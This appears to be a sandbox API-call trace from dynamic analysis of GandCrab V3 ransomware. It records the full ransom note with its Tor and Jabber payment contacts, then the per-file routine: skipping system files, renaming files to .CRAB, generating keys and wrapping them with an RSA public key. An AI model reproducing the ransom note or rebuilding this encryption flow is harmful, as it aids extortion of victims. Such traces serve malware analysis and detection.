	[0124.667] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0124.667] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0124.670] CloseHandle (hObject=0x3d4) returned 1
	[0124.682] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.682] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\") returned 30
	[0124.682] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*"
	[0124.682] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Cookies\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0124.682] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0124.682] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0124.682] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0124.682] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\CRAB-DECRYPT.txt"
	[0124.682] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.682] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\CRAB-DECRYPT.txt") returned 38
	[0124.683] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\CRAB-DECRYPT.txt") returned 38
	[0124.683] lstrlenW (lpString=".txt") returned 4
	[0124.683] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.683] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0124.683] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.683] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\CRAB-DECRYPT.txt") returned 38
	[0124.683] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\CRAB-DECRYPT.txt") returned 38
	[0124.683] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0124.683] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0124.683] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0124.683] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0124.683] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0124.683] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0124.683] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0124.683] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0124.683] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0124.683] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.684] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0124.684] lstrcmpW (lpString1="Desktop", lpString2=".") returned 1
	[0124.684] lstrcmpW (lpString1="Desktop", lpString2="..") returned 1
	[0124.684] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Desktop" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop"
	[0124.684] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0124.684] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.684] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0124.684] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0124.684] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0124.684] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0124.684] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.684] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0124.684] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0124.684] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 0
	[0124.684] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 30
	[0124.684] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*"
	[0124.684] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xded2e8
	[0124.685] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0124.685] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.685] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0124.685] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0124.685] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.685] lstrcmpW (lpString1="34rcSrGk W7Hu_l0T.swf", lpString2=".") returned 1
	[0124.685] lstrcmpW (lpString1="34rcSrGk W7Hu_l0T.swf", lpString2="..") returned 1
	[0124.685] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="34rcSrGk W7Hu_l0T.swf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf"
	[0124.685] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.685] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf") returned 51
	[0124.685] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf") returned 51
	[0124.685] lstrlenW (lpString=".swf") returned 4
	[0124.685] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.685] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".swf ") returned 5
	[0124.685] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.686] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf") returned 51
	[0124.686] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf") returned 51
	[0124.686] lstrcmpiW (lpString1="34rcSrGk W7Hu_l0T.swf", lpString2="desktop.ini") returned -1
	[0124.686] lstrcmpiW (lpString1="34rcSrGk W7Hu_l0T.swf", lpString2="autorun.inf") returned -1
	[0124.686] lstrcmpiW (lpString1="34rcSrGk W7Hu_l0T.swf", lpString2="ntuser.dat") returned -1
	[0124.686] lstrcmpiW (lpString1="34rcSrGk W7Hu_l0T.swf", lpString2="iconcache.db") returned -1
	[0124.686] lstrcmpiW (lpString1="34rcSrGk W7Hu_l0T.swf", lpString2="bootsect.bak") returned -1
	[0124.686] lstrcmpiW (lpString1="34rcSrGk W7Hu_l0T.swf", lpString2="boot.ini") returned -1
	[0124.686] lstrcmpiW (lpString1="34rcSrGk W7Hu_l0T.swf", lpString2="ntuser.dat.log") returned -1
	[0124.686] lstrcmpiW (lpString1="34rcSrGk W7Hu_l0T.swf", lpString2="thumbs.db") returned -1
	[0124.686] lstrcmpiW (lpString1="34rcSrGk W7Hu_l0T.swf", lpString2="CRAB-DECRYPT.txt") returned -1
	[0124.686] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.686] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf.CRAB") returned 56
	[0124.686] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\34rcsrgk w7hu_l0t.swf")) returned 0x20
	[0124.686] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf", dwFileAttributes=0x20) returned 1
	[0124.690] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\34rcsrgk w7hu_l0t.swf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\34rcsrgk w7hu_l0t.swf.crab")) returned 1
	[0124.691] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.691] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf.CRAB"
	[0124.691] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf.CRAB.CRAB"
	[0124.691] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0124.691] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.692] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.692] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.692] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0124.692] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.692] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.692] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6ed98) returned 1
	[0124.693] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.693] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.693] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.693] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0124.693] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0124.693] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.693] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.694] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.694] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ed98) returned 1
	[0124.695] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0xded3a8) returned 1
	[0124.695] CryptGetKeyParam (in: hKey=0xded3a8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.695] CryptEncrypt (in: hKey=0xded3a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0124.695] GetLastError () returned 0x0
	[0124.695] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0124.695] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0124.696] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0xded3e8) returned 1
	[0124.696] CryptGetKeyParam (in: hKey=0xded3e8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.696] CryptEncrypt (in: hKey=0xded3e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0124.696] GetLastError () returned 0x0
	[0124.696] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.696] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\34rcSrGk W7Hu_l0T.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\34rcsrgk w7hu_l0t.swf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0124.697] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0124.697] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0124.697] ReadFile (in: hFile=0x3e8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314d46c*=0x16967, lpOverlapped=0x0) returned 1
	[0124.709] VirtualAlloc (lpAddress=0x0, dwSize=0x16970, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0124.713] VirtualAlloc (lpAddress=0x0, dwSize=0x16970, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0124.716] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.716] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffe9699, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.716] WriteFile (in: hFile=0x3e8, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x16970, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314d45c*=0x16970, lpOverlapped=0x0) returned 1
	[0124.716] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.717] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.721] WriteFile (in: hFile=0x3e8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.721] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0124.721] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0124.721] CloseHandle (hObject=0x3e8) returned 1
	[0124.721] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.721] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.721] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.722] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.722] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.722] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.722] FindNextFileW (in: hFindFile=0xded2e8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0124.722] lstrcmpW (lpString1="3mHfkmGglaKNYaBK9.mp4", lpString2=".") returned 1
	[0124.722] lstrcmpW (lpString1="3mHfkmGglaKNYaBK9.mp4", lpString2="..") returned 1
	[0124.722] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\", lpString2="3mHfkmGglaKNYaBK9.mp4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4"
	[0124.722] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.723] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4") returned 51
	[0124.723] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4") returned 51
	[0124.723] lstrlenW (lpString=".mp4") returned 4
	[0124.723] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.723] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mp4 ") returned 5
	[0124.723] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.723] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4") returned 51
	[0124.723] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4") returned 51
	[0124.723] lstrcmpiW (lpString1="3mHfkmGglaKNYaBK9.mp4", lpString2="desktop.ini") returned -1
	[0124.723] lstrcmpiW (lpString1="3mHfkmGglaKNYaBK9.mp4", lpString2="autorun.inf") returned -1
	[0124.723] lstrcmpiW (lpString1="3mHfkmGglaKNYaBK9.mp4", lpString2="ntuser.dat") returned -1
	[0124.723] lstrcmpiW (lpString1="3mHfkmGglaKNYaBK9.mp4", lpString2="iconcache.db") returned -1
	[0124.723] lstrcmpiW (lpString1="3mHfkmGglaKNYaBK9.mp4", lpString2="bootsect.bak") returned -1
	[0124.723] lstrcmpiW (lpString1="3mHfkmGglaKNYaBK9.mp4", lpString2="boot.ini") returned -1
	[0124.723] lstrcmpiW (lpString1="3mHfkmGglaKNYaBK9.mp4", lpString2="ntuser.dat.log") returned -1
	[0124.723] lstrcmpiW (lpString1="3mHfkmGglaKNYaBK9.mp4", lpString2="thumbs.db") returned -1
	[0124.723] lstrcmpiW (lpString1="3mHfkmGglaKNYaBK9.mp4", lpString2="CRAB-DECRYPT.txt") returned -1
	[0124.723] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.724] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4.CRAB") returned 56
	[0124.724] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\3mhfkmgglaknyabk9.mp4")) returned 0x20
	[0124.724] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4", dwFileAttributes=0x20) returned 1
	[0124.724] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\3mhfkmgglaknyabk9.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\3mhfkmgglaknyabk9.mp4.crab")) returned 1
	[0124.725] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.725] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4.CRAB"
	[0124.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\3mHfkmGglaKNYaBK9.mp4.CRAB.CRAB"
	[0124.725] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e6b0) returned 1
	[0124.726] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.726] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.726] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.726] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0124.726] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0124.726] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.727] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e6b0) returned 1
	[0124.727] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.727] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.728] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.728] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0124.728] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0124.728] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.728] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.728] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.728] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e7c0) returned 1
	[0124.729] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0xd80120) returned 1
	[0124.729] CryptGetKeyParam (in: hKey=0xd80120, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0124.729] CryptEncrypt (in: hKey=0xd80120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0124.729] GetLastError () returned 0x0
	[0124.729] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
